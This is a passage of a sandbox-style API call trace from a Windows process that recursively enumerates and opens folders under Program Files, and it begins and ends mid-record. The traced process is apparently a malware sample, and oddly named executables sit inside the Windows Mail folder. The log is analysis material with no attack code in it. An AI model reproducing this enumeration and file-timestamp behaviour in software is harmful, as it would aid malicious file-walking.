FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a77900b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a77900b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb04ef6b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabfind.dll", cAlternateFileName="")) returned 1 [0089.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.603] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a1aba92, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a1aba92, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb05167b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabimp.dll", cAlternateFileName="")) returned 1 [0089.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.605] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c2b2af4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8c2b2af4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x78aae250, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabmig.exe", cAlternateFileName="")) returned 1 [0089.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.606] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.606] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.606] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8e771d9d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8e771d9d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x796bc150, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x60e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 1 [0089.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.607] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.607] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.608] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8e771d9d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8e771d9d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x796bc150, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x60e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 0 [0089.608] GetLastError () returned 0x12 [0089.608] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e91c0 [0089.608] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.608] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa011d710, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa011d710, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.608] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bfa4700, ftCreationTime.dwHighDateTime=0x1d5b679, ftLastAccessTime.dwLowDateTime=0xb0b0e70, ftLastAccessTime.dwHighDateTime=0x1d5bc05, ftLastWriteTime.dwLowDateTime=0xb0b0e70, ftLastWriteTime.dwHighDateTime=0x1d5bc05, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="coreftp.exe", cAlternateFileName="")) returned 1 [0089.608] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0089.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.608] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US" (normalized: "c:\\program files (x86)\\windows mail\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.609] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US" (normalized: "c:\\program files (x86)\\windows mail\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0089.609] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0089.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x13334e0 [0089.609] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x13334e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x13334e0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0089.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13334e0) returned 1 [0089.609] NtClose (Handle=0x164) returned 0x0 [0089.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef678 [0089.610] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0089.611] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.611] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe506d6c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe506d6c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1 [0089.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1ce8 [0089.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef810 [0089.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.612] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 1 [0089.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1d08 [0089.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef898 [0089.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.614] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 0 [0089.614] GetLastError () returned 0x12 [0089.614] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0089.614] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.614] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.614] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe506d6c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe506d6c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1 [0089.614] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 1 [0089.614] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 0 [0089.614] GetLastError () returned 0x12 [0089.615] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef678) returned 1 [0089.615] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0089.615] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.615] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.615] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8d0a070, ftCreationTime.dwHighDateTime=0x1d572ef, ftLastAccessTime.dwLowDateTime=0xa3cfcd0, ftLastAccessTime.dwHighDateTime=0x1d5a29a, ftLastWriteTime.dwLowDateTime=0xa3cfcd0, ftLastWriteTime.dwHighDateTime=0x1d5a29a, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="isspos.exe", cAlternateFileName="")) returned 1 [0089.615] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3b530d7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3b530d7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3b9f397, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18b800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0089.615] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e00b0b6, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x9e00b0b6, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x6cf87540, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOERES.dll", cAlternateFileName="")) returned 1 [0089.615] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3b9f397, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3b9f397, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3b9f397, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oeimport.dll", cAlternateFileName="")) returned 1 [0089.615] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x879b1223, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x879b1223, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87a95a65, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab.exe", cAlternateFileName="")) returned 1 [0089.615] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a77900b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a77900b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb04ef6b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabfind.dll", cAlternateFileName="")) returned 1 [0089.615] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a1aba92, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a1aba92, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb05167b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabimp.dll", cAlternateFileName="")) returned 1 [0089.615] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c2b2af4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8c2b2af4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x78aae250, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabmig.exe", cAlternateFileName="")) returned 1 [0089.615] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8e771d9d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8e771d9d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x796bc150, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x60e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 1 [0089.615] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8e771d9d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8e771d9d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x796bc150, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x60e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 0 [0089.616] GetLastError () returned 0x12 [0089.616] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0089.616] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.616] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0089.616] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.617] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f9870f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9870f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="")) returned 1 [0089.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.617] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player" (normalized: "c:\\program files (x86)\\windows media player"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f9870f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9870f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0089.617] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player" (normalized: "c:\\program files (x86)\\windows media player"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0089.617] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0089.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x13334e0 [0089.617] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x13334e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x13334e0, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0089.618] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13334e0) returned 1 [0089.618] NtClose (Handle=0x180) returned 0x0 [0089.618] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0089.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0089.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0089.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0089.619] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e91c0 [0089.619] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f9870f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9870f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.619] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ca67c6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0089.619] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, 